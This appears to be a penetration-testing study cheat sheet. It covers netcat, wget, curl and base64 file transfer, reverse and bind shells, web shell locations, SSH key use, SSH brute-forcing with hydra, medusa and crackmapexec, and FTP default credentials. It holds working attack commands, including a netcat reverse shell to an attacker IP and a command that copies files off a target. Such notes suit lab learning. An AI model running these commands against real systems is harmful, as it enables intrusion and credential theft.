Home > 2-Network_PenTesting > Network Penetration Testing Fundamental 2

Network Penetration Testing Fundamental 2
Enumeration Dorks Wireshark

Description


File Transfer (Linux)

  1. Netcat
    From target to my machine
    In my machine:
    nc -nvlp 8082 > backup
    

    In the target:

    nc [ip my machine] 8082 < /usr/local/bin/backup
    

    From my machine to target
    In the target:

    nc -nvlp 8082 > backup
    

    In my machine:

    nc [ip my machine] 8082 < /usr/local/bin/backup
    
  2. Wget
    From my machine to target
    In my machine:
    python3 -m http.server port
    

    In the target:

    wget http://my_ip:port/test.py
    
  3. Curl
    From my machine to target
    In my machine:
    python3 -m http.server port
    

    In the target:

    curl http://my_ip:port/test.py -o test.py
    
  4. Base64
    From my machine to target
    In my machine:
    cat ‘file.zip' | base64
    

    In the target:

    cat base64.txt | base64 -d > file.zip
    

    Shells

  5. Reverse Shell
    Basic Reverse Shell
    Start listener on Kali
    nc -lvnp 9000
    

    Send reverse shell from victim back to Kali

    nc KALI_IP 9000 -e /bin/sh
    
  6. Bind Shell
    Basic Bind Shell
    Start bind shell on victim machine
    nc -lvnp 9000 -e /bin/sh
    

    Connect to bind shell from Kali

    nc -nv VICTIM_IP 9000
    
  7. Web Shell
    Depend on:
    Language
    Server
    On Kali:
    /usr/share/webshells
    

    Network Services

    SSH (Secure Shell)

  8. Basic Usage (login)
    ssh username@10.10.10.10
    
  9. Generating a Key Pair
    ssh-keygen
    
  10. Key-based Login
    ssh -i keyfile username@10.10.10.10
    

    path to private key file​

    /home/username/.ssh/id_rsa​
    

    ​ path to public key file​

    /home/username/.ssh/id_rsa.pub​
    /home/username/.ssh/authorized_keys
    
  11. Password Cracking
     crackmapexec ssh 10.10.10.10 -u small_user.txt -p pass.txt
     medusa -h 10.10.10.10 -U small_user.txt -P pass.txt -M ssh
     hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh
    

    FTP (File Transfer Protocol)

  12. Basic Usage (login)
    ftp 10.10.10.10
    
  13. Commands
    ftp> ls
    ftp> cd foldername
    ftp> get filename
    ftp> put filename
    
  14. Using Binary Mode to Avoid Uploading Corrupted Files
    ftp> binary
    
  15. Default Credentials
    Username: Anonymous
    Password: ftp
    —